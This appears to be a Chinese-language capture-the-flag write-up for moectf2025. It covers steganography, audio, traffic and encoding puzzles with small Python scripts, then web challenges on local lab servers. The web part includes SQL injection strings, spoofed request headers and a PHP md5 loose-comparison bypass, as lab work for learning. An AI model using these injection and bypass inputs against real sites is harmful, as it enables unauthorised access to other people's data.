moectf2025
misc
ez_LSB
放入stegsolve.jar
base64解密为:
SSTV
查询到可以用qsstv程序进行解码来恢复图片。
初次尝试发现附件不能直接放进qsstv,需要删掉下图LIST蓝色部分(生成软件FFmpeg(Lavf57.52.100)的标识)才能被qsstv正常解析
如下图:

捂住一只耳
Au打开音频文件,发现左声道音轨有长短不一的段,推测是摩斯电码。
看着然后手敲下来:..-./.-../.-/--./../.../---.../..../.-/.-../..-./..--.-/.-./.-/-../../---/..--.-/../-./..--.-/-..-/-../..-/
解码可得:
Enchantment
流量包中提取到图片:
题目描述flag和上面的怪异文字有关,于是搜索相关关键词mc 附魔台 文字
可以得到翻译表,
对照翻译结果,然后按题目处理后提交即可。
ez_png
题目提示flag和文件骨骼有关,了解到应该是IDAT块隐写。
用pngcheck查看确认一下:
可以看到倒数第二个块没满就开始了最后一个块的填充,说明最后一块有问题。
打开010手动提取出最后一块数据之后保存,并用zlib解压缩:
import zlib
with open("D:\\OneDrive\\Desktop\\无标题2", "rb") as f:
compressed = f.read()
try:
decompressed = zlib.decompress(compressed)
print(decompressed[-200:]) # 查看末尾 200 字节
except zlib.error as e:
print("解压失败:", e)
encrypted_pdf
pdf被加密了,网上直接解密网站:
hint提示和签到题的方式一样,于是:
ez_ssl
附件是一个TLS加密流量包,找到密钥文件ssl.log:
CLIENT_RANDOM 5cc9d58e7bf7268c8c7ca13915b43530206bc57523a3dc06420f47291081bf70 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM 523878d7689e894823485b8f32727c779f8605866423eab6f4cc16c9df1cfb33 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM ccfba4dd12e374afd300f296b691e12b70f9d5f8be0458782887763c8a54626e 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
CLIENT_RANDOM c8e817f2efcee3be9290aa075919f50f329be997b124487d02a1850e48c4292d 3318cf82ad502316bfa204be096be19f297b0e5f680d81e462c39d0af53ab67b82d0e11b54db16dae81394cd9e9816e4
保存后解密便可以提取出flag.zip,发现有加密,且非伪加密。
用winrar打开之后发现又压缩包注释:
(很诡异)
爆破:
打开之后:
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
ook加密,在线网站:https://www.splitbrain.org/services/ook
解密得到:
flag为:moectf{upI0@d-l0G_TO-DeCrYPT_uploAD}
WebRepo
Lenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$ git log
commit 249ff41401736165cd4514cee7afcd31ecfe7d09 (HEAD -> master)
Author: test <test@example.com>
Date: Tue Aug 19 22:33:29 2025 +0800
flag
Lenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$ git ls-tree -r --name-only 249ff414
flag.txt
Lenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$ git show 249ff414:flag.txt
moectf{B1NwA1K_ANd_g1t_R3seT-MaG1C}
Lenovo@ya7q MINGW64 /d/OneDrive/Desktop/flag/repo (master)
$
weird_photo
CRC爆破:
import binascii
import struct
crcbp = open("D:/OneDrive/DeskTop/photo.png", "rb").read() #打开图片
crc32frombp = int(crcbp[29:33].hex(),16) #读取图片中的CRC校验值
print(crc32frombp)
for i in range(4000): #宽度1-4000进行枚举
for j in range(4000): #高度1-4000进行枚举
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
#print(crc32)
if(crc32 == crc32frombp): #计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)
哈基米难没露躲
附件文本:
南北绿豆奈哪买噶奈哪买南北绿豆;欧莫季里噶奈哪买噶奈哦吗吉利。哦吗吉利哪买噶奈哪椰奶龙?哈基米买娜奈哪买北窝那没撸多。哈基米多多压那奈椰奶龙;奈诺娜美嘎哪买娜奈哪买窝那没撸多?哦吗吉利噶奈哪买哈基米;窝那没撸多噶奈哪买噶奈哪哈基米。库路曼波买噶奈哪买哦吗吉利,哈基米娜奈哪买北南北绿豆,哦吗吉利多多压那多多欧莫季里。阿西噶压压那南撸基阿奈诺娜美嘎,哈基米南里南北友里窝那没撸多。库路曼波一吉豆没咕椰奶龙,库路曼波吉豆没咕吉豆椰奶龙。库路曼波没咕吉豆没咕库路曼波?哦吗吉利吉豆没米吉库路曼波。阿西噶压豆耶咕吉豆没米窝那没撸多;南北绿豆吉豆没米哈基米;窝那没撸多吉豆没咕吉奈诺娜美嘎。库路曼波豆没咕吉豆椰奶龙,欧莫季里没咕吉豆没咕吉南北绿豆?库路曼波豆没米吉豆欧莫季里。哦吗吉利耶咕吉豆没咕奶哈基米;窝那没撸多压多那吉豆没咕奈诺娜美嘎。阿西噶压吉豆没咕吉哦吗吉利;椰奶龙豆没咕吉豆没咕南北绿豆。窝那没撸多吉豆没米奶压哈基米,哈基米多那吉豆没米吉哈基米?奈诺娜美嘎豆没咕吉豆窝那没撸多,南北绿豆没咕吉豆没咕吉窝那没撸多,窝那没撸多豆没咕吉哦吗吉利;南北绿豆豆没咕吉豆没米窝那没撸多;南北绿豆吉豆耶咕吉豆椰奶龙。哈基米没米吉豆哈基米?库路曼波耶吗多奈哪买噶哈基米。哦吗吉利奈哪买噶奈哪阿西噶压;南北绿豆买噶奈哪窝那没撸多;阿西噶压买噶奈哪买阿西噶压;哈基米娜多多压那窝那没撸多?欧莫季里奈哪买北多奈诺娜美嘎;哦吗吉利多压那呀里欧西库路曼波。窝那没撸多奈哪买噶奈哈基米;南北绿豆哪买噶奈哪哦吗吉利,欧莫季里买噶奈哪买噶奈库路曼波,库路曼波哪买噶多多压那库路曼波。哈基米奈哪买噶奈哪买南北绿豆?椰奶龙娜奈哪买哈基米,窝那没撸多噶奈哪买奈诺娜美嘎?阿西噶压噶奈哪买噶奈哪哈基米,阿西噶压买噶奈哪买娜奈奈诺娜美嘎。奈诺娜美嘎哪买北奈哪买噶椰奶龙?哦吗吉利奈哪买北奈诺娜美嘎,窝那没撸多奈哪买噶奈哪窝那没撸多?阿西噶压买噶奈哪买噶奈欧莫季里。库路曼波哪买噶奈哈基米?阿西噶压哪买噶多多压那阿西噶压。窝那没撸多奈哪买北奈哪买阿西噶压;库路曼波噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶奈哈基米;椰奶龙哪买噶奈哪买哦吗吉利;南北绿豆噶奈哪买哈基米;哈基米噶多多压那奈诺娜美嘎?窝那没撸多奈哪买北奈哦吗吉利,库路曼波哪买娜奈椰奶龙。哈基米哪买噶奈哪欧莫季里?椰奶龙买噶奈哪买噶阿西噶压。哈基米奈哪买噶奈奈诺娜美嘎?欧莫季里哪买噶多多压那哦吗吉利,阿西噶压奈哪买娜奈哪买哦吗吉利,南北绿豆娜奈哪买噶奈哪哈基米;库路曼波买噶奈哪买窝那没撸多。哈基米噶奈哪买南北绿豆;椰奶龙噶奈哪买噶多多窝那没撸多,阿西噶压压那奈哪买椰奶龙,欧莫季里娜奈哪买奈诺娜美嘎,阿西噶压北奈哪买噶奈哪库路曼波。库路曼波买噶奈哪买噶奈阿西噶压?哈基米哪买噶奈南北绿豆,南北绿豆哪买娜奈哪买哈基米;哦吗吉利北奈哪买噶奈椰奶龙,库路曼波哪买北奈窝那没撸多,阿西噶压哪买噶奈哪买奈诺娜美嘎;奈诺娜美嘎噶奈哪买噶奈欧莫季里,阿西噶压哪买噶奈哪窝那没撸多。南北绿豆买噶多多阿西噶压,窝那没撸多压那奈哪阿西噶压?椰奶龙买北奈哪奈诺娜美嘎;窝那没撸多买娜奈哪买噶奈椰奶龙?哦吗吉利哪买噶奈阿西噶压。哈基米哪买噶奈哪窝那没撸多;库路曼波买噶奈哪买噶奈欧莫季里。南北绿豆哪买北多多压那窝那没撸多;欧莫季里奈哪买娜奈哪买奈诺娜美嘎;椰奶龙噶奈哪买噶窝那没撸多,奈诺娜美嘎奈哪买噶奈阿西噶压;阿西噶压哪买噶奈哪买娜阿西噶压;椰奶龙奈哪买北奈欧莫季里。奈诺娜美嘎哪买噶奈阿西噶压,椰奶龙哪买娜奈哪买欧莫季里?库路曼波噶奈哪买库路曼波。阿西噶压噶奈哪买噶窝那没撸多;窝那没撸多奈哪买噶奈哪买南北绿豆?阿西噶压噶多多压那椰奶龙,库路曼波奈哪买娜哈基米;窝那没撸多奈哪买噶阿西噶压,库路曼波喔酷娜利步啊那窝那没撸多?南北绿豆吉豆没咕吉豆欧莫季里;欧莫季里没咕吉豆没南北绿豆?库路曼波咕吉豆没咕库路曼波。哈基米吉豆没咕哦吗吉利?哈基米奶压多那吉豆库路曼波,库路曼波没咕吉豆耶咕阿西噶压,椰奶龙吉豆没咕吉豆没窝那没撸多?阿西噶压咕吉豆没咕欧莫季里。奈诺娜美嘎吉豆没咕吉豆哈基米?欧莫季里没咕奶压多那吉库路曼波;阿西噶压豆没咕奶椰奶龙;奈诺娜美嘎压多那吉南北绿豆,窝那没撸多豆没咕吉欧莫季里;南北绿豆豆没咕吉豆奈诺娜美嘎。库路曼波没咕吉豆奈诺娜美嘎,南北绿豆没咕吉豆没咕吉窝那没撸多?库路曼波豆耶咕奶压多阿西噶压,哈基米那吉豆没米吉豆窝那没撸多;哈基米没咕吉豆没咕吉南北绿豆?奈诺娜美嘎豆没咕吉豆没奈诺娜美嘎;南北绿豆咕吉豆没南北绿豆。奈诺娜美嘎咕奶压多那吉奈诺娜美嘎?南北绿豆豆没米吉椰奶龙;椰奶龙豆没咕吉豆没窝那没撸多?欧莫季里咕吉豆没咕吉豆库路曼波;欧莫季里没咕吉豆没咕南北绿豆?奈诺娜美嘎吉豆没咕奶窝那没撸多;南北绿豆压多那吉豆没咕哈基米?欧莫季里吉豆没米吉豆欧莫季里;阿西噶压没咕吉豆奈诺娜美嘎;阿西噶压没咕吉豆没咕吉椰奶龙,哈基米豆没咕吉豆没阿西噶压?南北绿豆咕奶压多那椰奶龙。欧莫季里吉豆没咕吉豆没库路曼波;哈基米吗喵子路路吉阿西噶压,窝那没撸多豆没咕吉豆哦吗吉利;南北绿豆没咕吉豆阿西噶压?阿西噶压没咕吉豆没南北绿豆;哈基米咕吉豆没咕窝那没撸多;阿西噶压奶压多那吉椰奶龙;库路曼波豆没咕吉豆没米阿西噶压,奈诺娜美嘎吉豆没咕吉窝那没撸多。阿西噶压豆没咕吉窝那没撸多,阿西噶压豆没咕吉豆欧莫季里?库路曼波没咕吉豆没窝那没撸多,库路曼波咕吉豆耶咕奶压窝那没撸多?哦吗吉利多那吉豆没米阿西噶压。哈基米吉豆没咕吉欧莫季里;南北绿豆豆没咕吉欧莫季里。南北绿豆豆没咕吉豆没咕南北绿豆?椰奶龙吉豆没米吉豆椰奶龙;库路曼波耶咕吉豆没阿西噶压?欧莫季里咕吉豆没米南北绿豆;南北绿豆吉豆没咕吉豆没哈基米;哦吗吉利咕吉豆没咕吉奈诺娜美嘎?窝那没撸多豆没咕吉豆库路曼波,库路曼波没咕奶压多那吉阿西噶压。窝那没撸多豆没咕吉豆库路曼波?阿西噶压没西一奈哪买噶阿西噶压;哦吗吉利奈哪买噶哦吗吉利;椰奶龙奈哪买噶奈南北绿豆,库路曼波哪买噶奈哪买娜库路曼波,哈基米奈哪买北奈哪买窝那没撸多。欧莫季里噶奈哪买北奈哈基米,椰奶龙哪买噶奈库路曼波?南北绿豆哪买噶奈欧莫季里;哈基米哪买噶奈椰奶龙,奈诺娜美嘎哪买噶奈哪南北绿豆,库路曼波买娜奈哪哦吗吉利?阿西噶压买北奈哪买娜奈库路曼波。欧莫季里哪买噶奈欧莫季里,库路曼波哪买噶奈哪买欧莫季里?库路曼波噶奈哪买噶奈窝那没撸多;阿西噶压哪买噶奈阿西噶压;窝那没撸多哪买噶奈哪买北南北绿豆。库路曼波多多压那欧莫季里?欧莫季里奈哪买娜奈哪哦吗吉利;哈基米买噶奈哪买噶奈库路曼波,库路曼波哪买噶奈库路曼波?奈诺娜美嘎哪买噶奈哪阿西噶压,南北绿豆买噶多多压库路曼波;南北绿豆那奈哪买娜奈库路曼波,库路曼波哪买北奈哪椰奶龙,欧莫季里买噶奈哪买库路曼波。窝那没撸多噶奈哪买噶窝那没撸多,哈基米奈哪买噶阿西噶压。南北绿豆奈哪买噶多椰奶龙?哈基米多压那奈哪阿西噶压;库路曼波买娜奈哪买欧莫季里?库路曼波娜奈哪买噶奈欧莫季里;哈基米哪买噶奈哪椰奶龙。窝那没撸多买噶奈哪奈诺娜美嘎;椰奶龙买噶奈哪买库路曼波,阿西噶压娜奈哪买北椰奶龙。奈诺娜美嘎奈哪买噶奈哈基米;窝那没撸多哪买北奈哪哈基米。奈诺娜美嘎买噶奈哪买噶窝那没撸多?南北绿豆奈哪买噶欧莫季里,库路曼波奈哪买噶奈哪买库路曼波。南北绿豆娜奈哪买南北绿豆;欧莫季里北奈哪买娜奈哦吗吉利。哈基米哪买娜子窝那没撸多;南北绿豆酷波利子撸娜哪哈基米?哈基米哈里椰路阿西噶压,阿西噶压奈哪买噶奈哪哈基米。哈基米买噶奈哪买噶库路曼波?欧莫季里奈哪买噶奈哪南北绿豆,奈诺娜美嘎买噶多多椰奶龙;阿西噶压压那奈哪库路曼波;库路曼波买噶多多压那奈库路曼波;哦吗吉利哪买噶奈哪买哦吗吉利。椰奶龙噶奈哪买噶奈窝那没撸多,阿西噶压哪买噶奈哪买噶欧莫季里,库路曼波多多压那奈库路曼波;窝那没撸多哪买噶多多压那哈基米,窝那没撸多喔米哦啊呀砸奈诺娜美嘎;椰奶龙曼吉豆没咕南北绿豆;库路曼波吉豆没咕吉豆没阿西噶压?哦吗吉利咕吉豆没咕吉哦吗吉利;库路曼波豆没咕奶压库路曼波。库路曼波多那吉豆南北绿豆?奈诺娜美嘎没米吉豆库路曼波;哦吗吉利耶吗一奈哪买奈诺娜美嘎。椰奶龙噶奈哪买噶奈阿西噶压?哈基米哪买噶奈哪买噶窝那没撸多。南北绿豆奈哪买噶阿西噶压;窝那没撸多多多压那阿西噶压,阿西噶压奈哪买北奈阿西噶压,欧莫季里哪买噶奈哪买噶哈基米。哈基米奈哪买噶奈诺娜美嘎?哈基米奈哪买噶库路曼波。南北绿豆奈哪买噶奈哪阿西噶压,奈诺娜美嘎买噶多多压那欧莫季里;南北绿豆奈哪买噶哈基米,窝那没撸多奈哪买北奈哪买南北绿豆,欧莫季里噶奈哪买奈诺娜美嘎?哦吗吉利噶奈哪买哈基米;南北绿豆噶奈哪买南北绿豆;窝那没撸多噶奈哪买娜奈哪椰奶龙,欧莫季里买北奈哪买噶阿西噶压,库路曼波多多压那奈哪买哈基米;哈基米噶奈哪买噶窝那没撸多?欧莫季里奈哪买噶奈哪买哦吗吉利。阿西噶压噶奈哪买噶多哦吗吉利,阿西噶压多压那奈哪买阿西噶压,哈基米北奈哪买南北绿豆,南北绿豆噶奈哪买噶奈阿西噶压,欧莫季里哪买噶奈哦吗吉利。椰奶龙哪买噶奈哈基米,库路曼波哪买噶奈窝那没撸多,奈诺娜美嘎哪买噶多窝那没撸多,椰奶龙多压那奈哪买噶南北绿豆,阿西噶压奈哪买北奈哈基米;哈基米哪买噶奈哪奈诺娜美嘎,哦吗吉利买噶奈哪买噶奈阿西噶压,窝那没撸多哪买噶奈哪阿西噶压。窝那没撸多买娜多多椰奶龙;椰奶龙压那多多压奈诺娜美嘎;阿西噶压那奈哪买娜南北绿豆。哦吗吉利自米哦啊南北绿豆;奈诺娜美嘎南酷基压步酷欧莫季里;奈诺娜美嘎马美友喔奈诺娜美嘎;窝那没撸多诺哪呀喔喵欧莫季里;欧莫季里哩椰奶龙。
通过https://lhlnb.top/hajimi/base64
解密后得到:
fakeflag{you_can_try_searching_text_Steganography}
零宽字符隐写,解出来为flag:
moectf{1b8956b9-a423-4101-a1bd-65be33682c82}
web
week1
0 Web入门指北
考点:JavaScript,JSFuck
所给文本输入到控制台回车即可。
01 第一章 神秘的手镯
考察:前端可改
直接输不进去,直接抓包该包或者F12直接改即可。
02 第二章 初识金曦玄轨
考察: 抓包
前往/golden_trail路由并抓包,
03 第三章 问剑石!篡天改命!
考察: f12, 抓包,传参
f12看到前端script源码:
<script>
async function testTalent() {
try {
const response = await fetch('/test_talent?level=B', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ manifestation: 'none' })
});
const data = await response.json();
document.getElementById('result').textContent = data.result;
// 显示/隐藏光芒效果
const glow = document.getElementById('glow');
if (data.result.includes('流云状青芒')) {
glow.style.opacity = '1';
} else {
glow.style.opacity = '0';
}
if (data.flag) {
setTimeout(() => {
alert(`✨ 天道机缘:${data.flag} ✨\n\n天赋篡天术大成!`);
}, 500);
}
} catch (error) {
alert('玄轨连接中断!请检查灵枢...');
}
}
</script>
且题目描述的参数提示为:S,光芒:流云状青芒(flowing_azure_clouds)的异象
于是改包:
POST /test_talent?level=S HTTP/1.1
Host: 127.0.0.1:64313
Content-Length: 24
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Origin: http://127.0.0.1:64313
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:64313/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{"manifestation":"flowing_azure_clouds"}
即可达成条件:
04 第四章 金曦破禁与七绝傀儡阵
考察:http协议
题目描述已经给出了要改的请求头具体是什么,直接跟着提示走就行。
GET传参: key=
bW9lY3Rme0Mw
POST传参: declaration=织云阁=第一
bjZyNDd1MTQ3
X-Forwarded-For: 127.0.0.1
MTBuNV95MHVy
改User-Agent: moe browser
X2g3N1BfbDN2
改Cookie: user=xt
M2xfMTVfcjM0
Referer: http://panshi/entry
bGx5X2gxOWgh
PUT发送"新生!"
fQ==
最后拼接base64解密即可。
05 第五章 打上门来!
考察:目录穿越
06 第六章 藏经禁制?玄机初探!
考察:sql注入, 一句话密码
07 第七章 灵蛛探穴与阴阳双生符
考察:robots协议认识, md5碰撞
题目描述得知hint在robots.txt这个路由中,访问得到提示:
User-agent: *
Disallow: /flag.php
访问/flag.php:
<?php
highlight_file(__FILE__);
$flag = getenv('FLAG');
$a = $_GET["a"] ?? "";
$b = $_GET["b"] ?? "";
if($a == $b){
die("error 1");
}
if(md5($a) != md5($b)){
die("error 2");
}
echo $flag; error 1
分析:
初步得知flag在环境变量中,要a,b两个变量不同,但md5值要相同。搜索便可知道考察的是md5碰撞,随便用两个例子即可:
/flag.php?a=QNKCDZO&b=s878926199a
08 第八章 天衍真言,星图显圣
考察:sql注入, 联合查询
类似:select * from table where username=admin and password=1
闭合:
http://127.0.0.1:51896/?username=admin&password=' or 1=1 %23
显示正常,说明单引号闭合。
行数:
order by/联合查询union select测试出行数为2。
http://127.0.0.1:51896/?username=admin&password=' union select 1,2 %23
发现显示位是1处。
联合查询注入即可。
表:
